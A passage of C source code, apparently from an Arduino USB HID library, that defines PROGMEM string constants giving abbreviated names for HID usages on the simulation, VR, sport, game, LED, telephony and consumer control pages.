Sel\";\nconst char pstrUsageWingFlaps [] PROGMEM = \"Wing Flaps\";\nconst char pstrUsageAccelerator [] PROGMEM = \"Accel\";\nconst char pstrUsageBrake [] PROGMEM = \"Brake\";\nconst char pstrUsageClutch [] PROGMEM = \"Clutch\";\nconst char pstrUsageShifter [] PROGMEM = \"Shifter\";\nconst char pstrUsageSteering [] PROGMEM = \"Steering\";\nconst char pstrUsageTurretDirection [] PROGMEM = \"Turret Dir\";\nconst char pstrUsageBarrelElevation [] PROGMEM = \"Barrel Ele\";\nconst char pstrUsageDivePlane [] PROGMEM = \"Dive Plane\";\nconst char pstrUsageBallast [] PROGMEM = \"Ballast\";\nconst char pstrUsageBicycleCrank [] PROGMEM = \"Bicycle Crank\";\nconst char pstrUsageHandleBars [] PROGMEM = \"Handle Bars\";\nconst char pstrUsageFrontBrake [] PROGMEM = \"Front Brake\";\nconst char pstrUsageRearBrake [] PROGMEM = \"Rear Brake\";\n\n// VR Controls Page\nconst char pstrUsageBelt [] PROGMEM = \"Belt\";\nconst char pstrUsageBodySuit [] PROGMEM = \"Body Suit\";\nconst char pstrUsageFlexor [] PROGMEM = \"Flexor\";\nconst char pstrUsageGlove [] PROGMEM = \"Glove\";\nconst char pstrUsageHeadTracker [] PROGMEM = \"Head Track\";\nconst char pstrUsageHeadMountedDisplay [] PROGMEM = \"Head Disp\";\nconst char pstrUsageHandTracker [] PROGMEM = \"Hand Track\";\nconst char pstrUsageOculometer [] PROGMEM = \"Oculometer\";\nconst char pstrUsageVest [] PROGMEM = \"Vest\";\nconst char pstrUsageAnimatronicDevice [] PROGMEM = \"Animat Dev\";\nconst char pstrUsageStereoEnable [] PROGMEM = \"Stereo Enbl\";\nconst char pstrUsageDisplayEnable [] PROGMEM = \"Display Enbl\";\n\n// Sport Controls Page\nconst char pstrUsageBaseballBat [] PROGMEM = \"Baseball Bat\";\nconst char pstrUsageGolfClub [] PROGMEM = \"Golf Club\";\nconst char pstrUsageRowingMachine [] PROGMEM = \"Rowing Mach\";\nconst char pstrUsageTreadmill [] PROGMEM = \"Treadmill\";\nconst char pstrUsageOar [] PROGMEM = \"Oar\";\nconst char pstrUsageSlope [] PROGMEM = \"Slope\";\nconst char pstrUsageRate [] PROGMEM = \"Rate\";\nconst char pstrUsageStickSpeed [] PROGMEM = \"Stick Speed\";\nconst char pstrUsageStickFaceAngle [] PROGMEM = \"Stick Face Ang\";\nconst char pstrUsageStickHeelToe [] PROGMEM = \"Stick Heel/Toe\";\nconst char pstrUsageStickFollowThough [] PROGMEM = \"Stick Flw Thru\";\nconst char pstrUsageStickTempo [] PROGMEM = \"Stick Tempo\";\nconst char pstrUsageStickType [] PROGMEM = \"Stick Type\";\nconst char pstrUsageStickHeight [] PROGMEM = \"Stick Hght\";\nconst char pstrUsagePutter [] PROGMEM = \"Putter\";\nconst char pstrUsage1Iron [] PROGMEM = \"1 Iron\";\nconst char pstrUsage2Iron [] PROGMEM = \"2 Iron\";\nconst char pstrUsage3Iron [] PROGMEM = \"3 Iron\";\nconst char pstrUsage4Iron [] PROGMEM = \"4 Iron\";\nconst char pstrUsage5Iron [] PROGMEM = \"5 Iron\";\nconst char pstrUsage6Iron [] PROGMEM = \"6 Iron\";\nconst char pstrUsage7Iron [] PROGMEM = \"7 Iron\";\nconst char pstrUsage8Iron [] PROGMEM = \"8 Iron\";\nconst char pstrUsage9Iron [] PROGMEM = \"9 Iron\";\nconst char pstrUsage10Iron [] PROGMEM = \"10 Iron\";\nconst char pstrUsage11Iron [] PROGMEM = \"11 Iron\";\nconst char pstrUsageSandWedge [] PROGMEM = \"Sand Wedge\";\nconst char pstrUsageLoftWedge [] PROGMEM = \"Loft Wedge\";\nconst char pstrUsagePowerWedge [] PROGMEM = \"Pwr Wedge\";\nconst char pstrUsage1Wood [] PROGMEM = \"1 Wood\";\nconst char pstrUsage3Wood [] PROGMEM = \"3 Wood\";\nconst char pstrUsage5Wood [] PROGMEM = \"5 Wood\";\nconst char pstrUsage7Wood [] PROGMEM = \"7 Wood\";\nconst char pstrUsage9Wood [] PROGMEM = \"9 Wood\";\n\n// Game Controls Page\nconst char pstrUsage3DGameController [] PROGMEM = \"3D Game Ctrl\";\nconst char pstrUsagePinballDevice [] PROGMEM = \"Pinball Dev\";\nconst char pstrUsageGunDevice [] PROGMEM = \"Gun Dev\";\nconst char pstrUsagePointOfView [] PROGMEM = \"POV\";\nconst char pstrUsageTurnRightLeft [] PROGMEM = \"Turn Right Left\";\nconst char pstrUsagePitchForwardBackward [] PROGMEM = \"Pitch Fwd/Back\";\nconst char pstrUsageRollRightLeft [] PROGMEM = \"Roll Right/Left\";\nconst char pstrUsageMoveRightLeft [] PROGMEM = \"Move Right/Left\";\nconst char pstrUsageMoveForwardBackward [] PROGMEM = \"Move Fwd/Back\";\nconst char pstrUsageMoveUpDown [] PROGMEM = \"Move Up/Down\";\nconst char pstrUsageLeanRightLeft [] PROGMEM = \"Lean Right/Left\";\nconst char pstrUsageLeanForwardBackward [] PROGMEM = \"Lean Fwd/Back\";\nconst char pstrUsageHeightOfPOV [] PROGMEM = \"Height of POV\";\nconst char pstrUsageFlipper [] PROGMEM = \"Flipper\";\nconst char pstrUsageSecondaryFlipper [] PROGMEM = \"Second Flipper\";\nconst char pstrUsageBump [] PROGMEM = \"Bump\";\nconst char pstrUsageNewGame [] PROGMEM = \"New Game\";\nconst char pstrUsageShootBall [] PROGMEM = \"Shoot Ball\";\nconst char pstrUsagePlayer [] PROGMEM = \"Player\";\nconst char pstrUsageGunBolt [] PROGMEM = \"Gun Bolt\";\nconst char pstrUsageGunClip [] PROGMEM = \"Gun Clip\";\nconst char pstrUsageGunSelector [] PROGMEM = \"Gun Sel\";\nconst char pstrUsageGunSingleShot [] PROGMEM = \"Gun Sngl Shot\";\nconst char pstrUsageGunBurst [] PROGMEM = \"Gun Burst\";\nconst char pstrUsageGunAutomatic [] PROGMEM = \"Gun Auto\";\nconst char pstrUsageGunSafety [] PROGMEM = \"Gun Safety\";\nconst char pstrUsageGamepadFireJump [] PROGMEM = \"Gamepad Fire/Jump\";\nconst char pstrUsageGamepadTrigger [] PROGMEM = \"Gamepad Trig\";\n\n// Generic Device Controls Page\nconst char pstrUsageBatteryStrength [] PROGMEM = \"Bat Strength\";\nconst char pstrUsageWirelessChannel [] PROGMEM = \"Wireless Ch\";\nconst char pstrUsageWirelessID [] PROGMEM = \"Wireless ID\";\nconst char pstrUsageDiscoverWirelessControl [] PROGMEM = \"Discover Wireless Ctrl\";\nconst char pstrUsageSecurityCodeCharEntered [] PROGMEM = \"Sec Code Char Entrd\";\nconst char pstrUsageSecurityCodeCharErased [] PROGMEM = \"Sec Code Char Erased\";\nconst char pstrUsageSecurityCodeCleared [] PROGMEM = \"Sec Code Cleared\";\n\n// LED Page\nconst char pstrUsageNumLock [] PROGMEM = \"Num Lock\";\nconst char pstrUsageCapsLock [] PROGMEM = \"Caps Lock\";\nconst char pstrUsageScrollLock [] PROGMEM = \"Scroll Lock\";\nconst char pstrUsageCompose [] PROGMEM = \"Compose\";\nconst char pstrUsageKana [] PROGMEM = \"Kana\";\nconst char pstrUsagePower [] PROGMEM = \"Pwr\";\nconst char pstrUsageShift [] PROGMEM = \"Shift\";\nconst char pstrUsageDoNotDisturb [] PROGMEM = \"DND\";\nconst char pstrUsageMute [] PROGMEM = \"Mute\";\nconst char pstrUsageToneEnable [] PROGMEM = \"Tone Enbl\";\nconst char pstrUsageHighCutFilter [] PROGMEM = \"High Cut Fltr\";\nconst char pstrUsageLowCutFilter [] PROGMEM = \"Low Cut Fltr\";\nconst char pstrUsageEqualizerEnable [] PROGMEM = \"Eq Enbl\";\nconst char pstrUsageSoundFieldOn [] PROGMEM = \"Sound Field On\";\nconst char pstrUsageSurroundOn [] PROGMEM = \"Surround On\";\nconst char pstrUsageRepeat [] PROGMEM = \"Repeat\";\nconst char pstrUsageStereo [] PROGMEM = \"Stereo\";\nconst char pstrUsageSamplingRateDetect [] PROGMEM = \"Smpl Rate Detect\";\nconst char pstrUsageSpinning [] PROGMEM = \"Spinning\";\nconst char pstrUsageCAV [] PROGMEM = \"CAV\";\nconst char pstrUsageCLV [] PROGMEM = \"CLV\";\nconst char pstrUsageRecordingFormatDetect [] PROGMEM = \"Rec Format Detect\";\nconst char pstrUsageOffHook [] PROGMEM = \"Off Hook\";\nconst char pstrUsageRing [] PROGMEM = \"Ring\";\nconst char pstrUsageMessageWaiting [] PROGMEM = \"Msg Wait\";\nconst char pstrUsageDataMode [] PROGMEM = \"Data Mode\";\nconst char pstrUsageBatteryOperation [] PROGMEM = \"Bat Op\";\nconst char pstrUsageBatteryOK [] PROGMEM = \"Bat OK\";\nconst char pstrUsageBatteryLow [] PROGMEM = \"Bat Low\";\nconst char pstrUsageSpeaker [] PROGMEM = \"Speaker\";\nconst char pstrUsageHeadSet [] PROGMEM = \"Head Set\";\nconst char pstrUsageHold [] PROGMEM = \"Hold\";\nconst char pstrUsageMicrophone [] PROGMEM = \"Mic\";\nconst char pstrUsageCoverage [] PROGMEM = \"Coverage\";\nconst char pstrUsageNightMode [] PROGMEM = \"Night Mode\";\nconst char pstrUsageSendCalls [] PROGMEM = \"Send Calls\";\nconst char pstrUsageCallPickup [] PROGMEM = \"Call Pickup\";\nconst char pstrUsageConference [] PROGMEM = \"Conf\";\nconst char pstrUsageStandBy [] PROGMEM = \"Stand-by\";\nconst char pstrUsageCameraOn [] PROGMEM = \"Cam On\";\nconst char pstrUsageCameraOff [] PROGMEM = \"Cam Off\";\nconst char pstrUsageOnLine [] PROGMEM = \"On-Line\";\nconst char pstrUsageOffLine [] PROGMEM = \"Off-Line\";\nconst char pstrUsageBusy [] PROGMEM = \"Busy\";\nconst char pstrUsageReady [] PROGMEM = \"Ready\";\nconst char pstrUsagePaperOut [] PROGMEM = \"Paper Out\";\nconst char pstrUsagePaperJam [] PROGMEM = \"Paper Jam\";\nconst char pstrUsageRemote [] PROGMEM = \"Remote\";\nconst char pstrUsageForward [] PROGMEM = \"Fwd\";\nconst char pstrUsageReverse [] PROGMEM = \"Rev\";\nconst char pstrUsageStop [] PROGMEM = \"Stop\";\nconst char pstrUsageRewind [] PROGMEM = \"Rewind\";\nconst char pstrUsageFastForward [] PROGMEM = \"Fast Fwd\";\nconst char pstrUsagePlay [] PROGMEM = \"Play\";\nconst char pstrUsagePause [] PROGMEM = \"Pause\";\nconst char pstrUsageRecord [] PROGMEM = \"Rec\";\nconst char pstrUsageError [] PROGMEM = \"Error\";\nconst char pstrUsageSelectedIndicator [] PROGMEM = \"Usage Sel Ind\";\nconst char pstrUsageInUseIndicator [] PROGMEM = \"Usage In Use Ind\";\nconst char pstrUsageMultiModeIndicator [] PROGMEM = \"Usage Multi Mode Ind\";\nconst char pstrUsageIndicatorOn [] PROGMEM = \"Ind On\";\nconst char pstrUsageIndicatorFlash [] PROGMEM = \"Ind Flash\";\nconst char pstrUsageIndicatorSlowBlink [] PROGMEM = \"Ind Slow Blk\";\nconst char pstrUsageIndicatorFastBlink [] PROGMEM = \"Ind Fast Blk\";\nconst char pstrUsageIndicatorOff [] PROGMEM = \"Ind Off\";\nconst char pstrUsageFlashOnTime [] PROGMEM = \"Flash On Time\";\nconst char pstrUsageSlowBlinkOnTime [] PROGMEM = \"Slow Blk On Time\";\nconst char pstrUsageSlowBlinkOffTime [] PROGMEM = \"Slow Blk Off Time\";\nconst char pstrUsageFastBlinkOnTime [] PROGMEM = \"Fast Blk On Time\";\nconst char pstrUsageFastBlinkOffTime [] PROGMEM = \"Fast Blk Off Time\";\nconst char pstrUsageIndicatorColor [] PROGMEM = \"Usage Ind Color\";\nconst char pstrUsageIndicatorRed [] PROGMEM = \"Ind Red\";\nconst char pstrUsageIndicatorGreen [] PROGMEM = \"Ind Green\";\nconst char pstrUsageIndicatorAmber [] PROGMEM = \"Ind Amber\";\nconst char pstrUsageGenericIndicator [] PROGMEM = \"Gen Ind\";\nconst char pstrUsageSystemSuspend [] PROGMEM = \"Sys Suspend\";\nconst char pstrUsageExternalPowerConnected [] PROGMEM = \"Ext Pwr Conn\";\n\n// Telephony Usage Page\nconst char pstrUsagePhone [] PROGMEM = \"Phone\";\nconst char pstrUsageAnsweringMachine [] PROGMEM = \"Answ Mach\";\nconst char pstrUsageMessageControls [] PROGMEM = \"Msg Ctrls\";\nconst char pstrUsageHandset [] PROGMEM = \"Handset\";\nconst char pstrUsageHeadset [] PROGMEM = \"Headset\";\nconst char pstrUsageTelephonyKeyPad [] PROGMEM = \"Tel Key Pad\";\nconst char pstrUsageProgrammableButton [] PROGMEM = \"Prog Button\";\nconst char pstrUsageHookSwitch [] PROGMEM = \"Hook Sw\";\nconst char pstrUsageFlash [] PROGMEM = \"Flash\";\nconst char pstrUsageFeature [] PROGMEM = \"Feature\";\n//const char pstrUsageHold [] PROGMEM = \"Hold\";\nconst char pstrUsageRedial [] PROGMEM = \"Redial\";\nconst char pstrUsageTransfer [] PROGMEM = \"Transfer\";\nconst char pstrUsageDrop [] PROGMEM = \"Drop\";\nconst char pstrUsagePark [] PROGMEM = \"Park\";\nconst char pstrUsageForwardCalls [] PROGMEM = \"Fwd Calls\";\nconst char pstrUsageAlternateFunction [] PROGMEM = \"Alt Func\";\nconst char pstrUsageLine [] PROGMEM = \"Line\";\nconst char pstrUsageSpeakerPhone [] PROGMEM = \"Spk Phone\";\n//const char pstrUsageConference [] PROGMEM = \"Conference\";\nconst char pstrUsageRingEnable [] PROGMEM = \"Ring Enbl\";\nconst char pstrUsageRingSelect [] PROGMEM = \"Ring Sel\";\nconst char pstrUsagePhoneMute [] PROGMEM = \"Phone Mute\";\nconst char pstrUsageCallerID [] PROGMEM = \"Caller ID\";\nconst char pstrUsageSend [] PROGMEM = \"Send\";\nconst char pstrUsageSpeedDial [] PROGMEM = \"Speed Dial\";\nconst char pstrUsageStoreNumber [] PROGMEM = \"Store Num\";\nconst char pstrUsageRecallNumber [] PROGMEM = \"Recall Num\";\nconst char pstrUsagePhoneDirectory [] PROGMEM = \"Phone Dir\";\nconst char pstrUsageVoiceMail [] PROGMEM = \"Voice Mail\";\nconst char pstrUsageScreenCalls [] PROGMEM = \"Screen Calls\";\n//const char pstrUsageDoNotDisturb [] PROGMEM = \"Do Not Disturb\";\nconst char pstrUsageMessage [] PROGMEM = \"Msg\";\nconst char pstrUsageAnswerOnOff [] PROGMEM = \"Answer On/Off\";\nconst char pstrUsageInsideDialTone [] PROGMEM = \"Inside Dial Tone\";\nconst char pstrUsageOutsideDialTone [] PROGMEM = \"Outside Dial Tone\";\nconst char pstrUsageInsideRingTone [] PROGMEM = \"Inside Ring Tone\";\nconst char pstrUsageOutsideRingTone [] PROGMEM = \"Outside Ring Tone\";\nconst char pstrUsagePriorityRingTone [] PROGMEM = \"Prior Ring Tone\";\nconst char pstrUsageInsideRingback [] PROGMEM = \"Inside Ringback\";\nconst char pstrUsagePriorityRingback [] PROGMEM = \"Priority Ringback\";\nconst char pstrUsageLineBusyTone [] PROGMEM = \"Ln Busy Tone\";\nconst char pstrUsageReorderTone [] PROGMEM = \"Reorder Tone\";\nconst char pstrUsageCallWaitingTone [] PROGMEM = \"Call Wait Tone\";\nconst char pstrUsageConfirmationTone1 [] PROGMEM = \"Cnfrm Tone1\";\nconst char pstrUsageConfirmationTone2 [] PROGMEM = \"Cnfrm Tone2\";\nconst char pstrUsageTonesOff [] PROGMEM = \"Tones Off\";\nconst char pstrUsageOutsideRingback [] PROGMEM = \"Outside Ringback\";\nconst char pstrUsageRinger [] PROGMEM = \"Ringer\";\nconst char pstrUsagePhoneKey0 [] PROGMEM = \"0\";\nconst char pstrUsagePhoneKey1 [] PROGMEM = \"1\";\nconst char pstrUsagePhoneKey2 [] PROGMEM = \"2\";\nconst char pstrUsagePhoneKey3 [] PROGMEM = \"3\";\nconst char pstrUsagePhoneKey4 [] PROGMEM = \"4\";\nconst char pstrUsagePhoneKey5 [] PROGMEM = \"5\";\nconst char pstrUsagePhoneKey6 [] PROGMEM = \"6\";\nconst char pstrUsagePhoneKey7 [] PROGMEM = \"7\";\nconst char pstrUsagePhoneKey8 [] PROGMEM = \"8\";\nconst char pstrUsagePhoneKey9 [] PROGMEM = \"9\";\nconst char pstrUsagePhoneKeyStar [] PROGMEM = \"*\";\nconst char pstrUsagePhoneKeyPound [] PROGMEM = \"#\";\nconst char pstrUsagePhoneKeyA [] PROGMEM = \"A\";\nconst char pstrUsagePhoneKeyB [] PROGMEM = \"B\";\nconst char pstrUsagePhoneKeyC [] PROGMEM = \"C\";\nconst char pstrUsagePhoneKeyD [] PROGMEM = \"D\";\n\n// Consumer Usage Page\nconst char pstrUsageConsumerControl [] PROGMEM = \"Consumer Ctrl\";\nconst char pstrUsageNumericKeyPad [] PROGMEM = \"Num Key Pad\";\n//const char pstrUsageProgrammableButton [] PROGMEM = \"Prog Btn\";\n//const char pstrUsageMicrophone [] PROGMEM = \"Mic\";\nconst char pstrUsageHeadphone [] PROGMEM = \"Headphone\";\nconst char pstrUsageGraphicEqualizer [] PROGMEM = \"Graph Eq\";\nconst char pstrUsagePlus10 [] PROGMEM = \"+10\";\nconst char pstrUsagePlus100 [] PROGMEM = \"+100\";\nconst char pstrUsageAMPM [] PROGMEM = \"AM/PM\";\n//const char pstrUsagePower [] PROGMEM = \"Pwr\";\nconst char pstrUsageReset [] PROGMEM = \"Reset\";\nconst char pstrUsageSleep [] PROGMEM = \"Sleep\";\nconst char pstrUsageSleepAfter [] PROGMEM = \"Sleep After\";\nconst char pstrUsageSleepMode [] PROGMEM = \"Sleep Mode\";\nconst char pstrUsageIllumination [] PROGMEM = \"Illumin\";\nconst char pstrUsageFunctionButtons [] PROGMEM = \"Func Btns\";\nconst char pstrUsageMenu [] PROGMEM = \"Menu\";\nconst char pstrUsageMenuPick [] PROGMEM = \"Menu Pick\";\nconst char pstrUsageMenuUp [] PROGMEM = \"Menu Up\";\nconst char pstrUsageMenuDown [] PROGMEM = \"Menu Down\";\nconst char pstrUsageMenuLeft [] PROGMEM = \"Menu Left\";\nconst char pstrUsageMenuRight [] PROGMEM = \"Menu Right\";\nconst char pstrUsageMenuEscape [] PROGMEM = \"Menu Esc\";\nconst char pstrUsageMenuValueIncrease [] PROGMEM = \"Menu Val Inc\";\nconst char pstrUsageMenuValueDecrease [] PROGMEM = \"Menu Val Dec\";\nconst char pstrUsageDataOnScreen [] PROGMEM = \"Data On Scr\";\nconst char pstrUsageClosedCaption [] PROGMEM = \"Closed Cptn\";\nconst char pstrUsageClosedCaptionSelect [] PROGMEM = \"Closed Cptn Sel\";\nconst char pstrUsageVCRTV [] PROGMEM = \"VCR/TV\";\nconst char pstrUsageBroadcastMode [] PROGMEM = \"Brdcast Mode\";\nconst char pstrUsageSnapshot [] PROGMEM = \"Snapshot\";\nconst char pstrUsageStill [] PROGMEM = \"Still\";\nconst char pstrUsageSelection [] PROGMEM = \"Sel\";\nconst char pstrUsageAssignSelection [] PROGMEM = \"Assign Sel\";\nconst char pstrUsageModeStep [] PROGMEM = \"Mode Step\";\nconst char pstrUsageRecallLast [] PROGMEM = \"Recall Last\";\nconst char pstrUsageEnterChannel [] PROGMEM = \"Entr Channel\";\nconst char pstrUsageOrderMovie [] PROGMEM = \"Ord Movie\";\nconst char pstrUsageChannel [] PROGMEM = \"Channel\";\nconst char pstrUsageMediaSelection [] PROGMEM = \"Med Sel\";\nconst char pstrUsageMediaSelectComputer [] PROGMEM = \"Med Sel Comp\";\nconst char pstrUsageMediaSelectTV [] PROGMEM = \"Med Sel TV\";\nconst char pstrUsageMediaSelectWWW [] PROGMEM = \"Med Sel WWW\";\nconst char pstrUsageMediaSelectDVD [] PROGMEM = \"Med Sel DVD\";\nconst char pstrUsageMediaSelectTelephone [] PROGMEM = \"Med Sel Tel\";\nconst char pstrUsageMediaSelectProgramGuide [] PROGMEM = \"Med Sel PG\";\nconst char pstrUsageMediaSelectVideoPhone [] PROGMEM = \"Med Sel Vid\";\nconst char pstrUsageMediaSelectGames [] PROGMEM = \"Med Sel Games\";\nconst char pstrUsageMediaSelectMessages [] PROGMEM = \"Med Sel Msg\";\nconst char pstrUsageMediaSelectCD [] PROGMEM = \"Med Sel CD\";\nconst char pstrUsageMediaSelectVCR [] PROGMEM = \"Med Sel VCR\";\nconst char pstrUsageMediaSelectTuner [] PROGMEM = \"Med Sel Tuner\";\nconst char pstrUsageQuit [] PROGMEM = \"Quit\";\nconst char pstrUsageHelp [] PROGMEM = \"Help\";\nconst char pstrUsageMediaSelectTape [] PROGMEM = \"Med Sel Tape\";\nconst char pstrUsageMediaSelectCable [] PROGMEM = \"Med Sel Cbl\";\nconst char pstrUsageMediaSelectSatellite [] PROGMEM = \"Med Sel Sat\";\nconst char pstrUsageMediaSelectSecurity [] PROGMEM = \"Med Sel Secur\";\nconst char pstrUsageMediaSelectHome [] PROGMEM = \"Med Sel Home\";\nconst char pstrUsageMediaSelectCall [] PROGMEM = \"Med Sel Call\";\nconst char pstrUsageChannelIncrement [] PROGMEM = \"Ch Inc\";\nconst char pstrUsageChannelDecrement [] PROGMEM = \"Ch Dec\";\nconst char pstrUsageMediaSelectSAP [] PROGMEM = \"Med Sel SAP\";\nconst char pstrUsageVCRPlus [] PROGMEM = \"VCR+\";\nconst char pstrUsageOnce [] PROGMEM = \"Once\";\nconst char pstrUsageDaily [] PROGMEM = \"Daily\";\nconst char pstrUsageWeekly [] PROGMEM = \"Weekly\";\nconst char pstrUsageMonthly [] PROGMEM = \"Monthly\";\n//const char pstrUsagePlay [] PROGMEM = \"Play\";\n//const char pstrUsagePause [] PROGMEM = \"Pause\";\n//const char pstrUsageRecord [] PROGMEM = \"Rec\";\n//const char pstrUsageFastForward [] PROGMEM = \"FF\";\n//const char pstrUsageRewind [] PROGMEM = \"Rewind\";\nconst char pstrUsageScanNextTrack [] PROGMEM = \"Next Track\";\nconst char pstrUsageScanPreviousTrack [] PROGMEM = \"Prev Track\";\n//const char pstrUsageStop [] PROGMEM = \"Stop\";\nconst char pstrUsageEject [] PROGMEM = \"Eject\";\nconst char pstrUsageRandomPlay [] PROGMEM = \"Random\";\nconst char pstrUsageSelectDisk [] PROGMEM = \"Sel Disk\";\nconst char pstrUsageEnterDisk [] PROGMEM = \"Ent Disk\";\n//const char pstrUsageRepeat [] PROGMEM = \"Repeat\";\nconst char pstrUsageTracking [] PROGMEM = \"Tracking\";\nconst char pstrUsageTrackNormal [] PROGMEM = \"Trk Norm\";\nconst char pstrUsageSlowTracking [] PROGMEM = \"Slow Trk\";\nconst char pstrUsageFrameForward [] PROGMEM = \"Frm Fwd\";\nconst char pstrUsageFrameBackwards [] PROGMEM = \"Frm Back\";\nconst char pstrUsageMark [] PROGMEM = \"Mark\";\nconst char pstrUsageClearMark [] PROGMEM = \"Clr Mark\";\nconst char pstrUsageRepeatFromMark [] PROGMEM = \"Rpt Mark\";\nconst char pstrUsageReturnToMark [] PROGMEM = \"Ret to Mark\";\nconst char pstrUsageSearchMarkForward [] PROGMEM = \"Search Mark Fwd\";\nconst char pstrUsageSearchMarkBackwards [] PROGMEM = \"Search Mark Back\";\nconst char pstrUsageCounterReset [] PROGMEM = \"Counter Reset\";\nconst char pstrUsageShowCounter [] PROGMEM = \"Show Counter\";\nconst char pstrUsageTrackingIncrement [] PROGMEM = \"Track Inc\";\nconst char pstrUsageTrackingDecrement [] PROGMEM = \"Track Dec\";\nconst char pstrUsageStopEject [] PROGMEM = \"Stop/Eject\";\nconst char pstrUsagePlayPause [] PROGMEM = \"Play/Pause\";\nconst char pstrUsagePlaySkip [] PROGMEM = \"Play/Skip\";\nconst char pstrUsageVolume [] PROGMEM = \"Vol\";\nconst char pstrUsageBalance [] PROGMEM = \"Balance\";\n//const char pstrUsageMute [] PROGMEM = \"Mute\";\nconst char pstrUsageBass [] PROGMEM = \"Bass\";\nconst char pstrUsageTreble [] PROGMEM = \"Treble\";\nconst char pstrUsageBassBoost [] PROGMEM = \"Bass Boost\";\nconst char pstrUsageSurroundMode [] PROGMEM = \"Surround\";\nconst char pstrUsageLoudness [] PROGMEM = \"Loud\";\nconst char pstrUsageMPX [] PROGMEM = \"MPX\";\nconst char pstrUsageVolumeIncrement [] PROGMEM = \"Vol Inc\";\nconst char pstrUsageVolumeDecrement [] PROGMEM = \"Vol Dec\";\nconst char pstrUsageSpeedSelect [] PROGMEM = \"Speed\";\nconst char pstrUsagePlaybackSpeed [] PROGMEM = \"Play Speed\";\nconst char pstrUsageStandardPlay [] PROGMEM = \"Std Play\";\nconst char pstrUsageLongPlay [] PROGMEM = \"Long Play\";\nconst char pstrUsageExtendedPlay [] PROGMEM = \"Ext Play\";\nconst char pstrUsageSlow [] PROGMEM = \"Slow\";\nconst char pstrUsageFanEnable [] PROGMEM = \"Fan Enbl\";\nconst char pstrUsageFanSpeed [] PROGMEM = \"Fan Speed\";\nconst char pstrUsageLightEnable [] PROGMEM = \"Light Enbl\";\nconst char pstrUsageLightIlluminationLevel [] PROGMEM = \"Light Illum Lev\";\nconst char pstrUsageClimateControlEnable [] PROGMEM = \"Climate Enbl\";\nconst char pstrUsageRoomTemperature [] PROGMEM = \"Room Temp\";\nconst char pstrUsageSecurityEnable [] PROGMEM = \"Secur Enbl\";\nconst char pstrUsageFireAlarm [] PROGMEM = \"Fire Alm\";\nconst char pstrUsagePoliceAlarm [] PROGMEM = \"Police Alm\";\nconst char pstrUsageProximity [] PROGMEM = \"Prox\";\nconst char pstrUsageMotion [] PROGMEM = \"Motion\";\nconst char pstrUsageDuresAlarm [] PROGMEM = \"Dures Alm\";\nconst char pstrUsageHoldupAlarm [] PROGMEM = \"Holdup Alm\";\nconst char pstrUsageMedicalAlarm [] PROGMEM = \"Med Alm\";\nconst char pstrUsageBalanceRight [] PROGMEM = \"Balance Right\";\nconst char pstrUsageBalanceLeft [] PROGMEM = \"Balance Left\";\nconst char pstrUsageBassIncrement [] PROGMEM = \"Bass Inc\";\nconst char pstrUsageBassDecrement [] PROGMEM = \"Bass Dec\";\nconst char pstrUsageTrebleIncrement [] PROGMEM = \"Treble Inc\";\nconst char pstrUsageTrebleDecrement [] PROGMEM = \"Treble Dec\";\nconst char pstrUsageSpeakerSystem [] PROGMEM = \"Spk Sys\";\nconst char pstrUsageChannelLeft [] PROGMEM = \"Ch Left\";\nconst char pstrUsageChannelRight [] PROGMEM = \"Ch Right\";\nconst char pstrUsageChannelCenter [] PROGMEM = \"Ch Center\";\nconst char pstrUsageChannelFront [] PROGMEM = \"Ch Front\";\nconst char pstrUsageChannelCenterFront [] PROGMEM = \"Ch Cntr Front\";\nconst char pstrUsageChannelSide [] PROGMEM = \"Ch Side\";\nconst char pstrUsageChannelSurround [] PROGMEM = \"Ch Surround\";\nconst char pstrUsageChannelLowFreqEnhancement [] PROGMEM = \"Ch Low Freq Enh\";\nconst char pstrUsageChannelTop [] PROGMEM = \"Ch Top\";\nconst char pstrUsageChannelUnknown [] PROGMEM = \"Ch Unk\";\nconst char pstrUsageSubChannel [] PROGMEM = \"Sub-ch\";\nconst char pstrUsageSubChannelIncrement [] PROGMEM = \"Sub-ch Inc\";\nconst char pstrUsageSubChannelDecrement [] PROGMEM = \"Sub-ch Dec\";\nconst char pstrUsageAlternateAudioIncrement [] PROGMEM = \"Alt Aud Inc\";\nconst char pstrUsageAlternateAudioDecrement [] PROGMEM = \"Alt Aud Dec\";\nconst char pstrUsageApplicationLaunchButtons [] PROGMEM = \"App Launch Btns\";\nconst char pstrUsageALLaunchButtonConfigTool [] PROGMEM = \"AL Launch Conf Tl\";\nconst char pstrUsageALProgrammableButton [] PROGMEM = \"AL Pgm Btn\";\nconst char pstrUsageALConsumerControlConfig [] PROGMEM = \"AL Cons Ctrl Cfg\";\nconst char pstrUsageALWordProcessor [] PROGMEM = \"AL Word Proc\";\nconst char pstrUsageALTextEditor [] PROGMEM = \"AL Txt Edtr\";\nconst char pstrUsageALSpreadsheet [] PROGMEM = \"AL Sprdsheet\";\nconst char pstrUsageALGraphicsEditor [] PROGMEM = \"AL Graph Edtr\";\nconst char pstrUsageALPresentationApp [] PROGMEM = \"AL Present App\";\nconst char pstrUsageALDatabaseApp [] PROGMEM = \"AL DB App\";\nconst char pstrUsageALEmailReader [] PROGMEM = \"AL E-mail Rdr\";\nconst char pstrUsageALNewsreader [] PROGMEM = \"AL Newsrdr\";\nconst char pstrUsageALVoicemail [] PROGMEM = \"AL Voicemail\";\nconst char pstrUsageALContactsAddressBook [] PROGMEM = \"AL Addr Book\";\nconst char pstrUsageALCalendarSchedule [] PROGMEM = \"AL Clndr/Schdlr\";\nconst char pstrUsageALTaskProjectManager [] PROGMEM = \"AL Task/Prj Mgr\";\nconst char pstrUsageALLogJournalTimecard [] PROGMEM = \"AL Log/Jrnl/Tmcrd\";\nconst char pstrUsageALCheckbookFinance [] PROGMEM = \"AL Chckbook/Fin\";\nconst char pstrUsageALCalculator [] PROGMEM = \"AL Calc\";\nconst char pstrUsageALAVCapturePlayback [] PROGMEM = \"AL A/V Capt/Play\";\nconst char pstrUsageALLocalMachineBrowser [] PROGMEM = \"AL Loc Mach Brow\";\nconst char pstrUsageALLANWANBrow [] PROGMEM = \"AL LAN/WAN Brow\";\nconst char pstrUsageALInternetBrowser [] PROGMEM = \"AL I-net Brow\";\nconst char pstrUsageALRemoteNetISPConnect [] PROGMEM = \"AL Rem Net Con\";\nconst char pstrUsageALNetworkConference [] PROGMEM = \"AL Net Conf\";\nconst char pstrUsageALNetworkChat [] PROGMEM = \"AL Net Chat\";\nconst char pstrUsageALTelephonyDialer [] PROGMEM = \"AL Tel/Dial\";\nconst char pstrUsageALLogon [] PROGMEM = \"AL Logon\";\nconst char pstrUsageALLogoff [] PROGMEM = 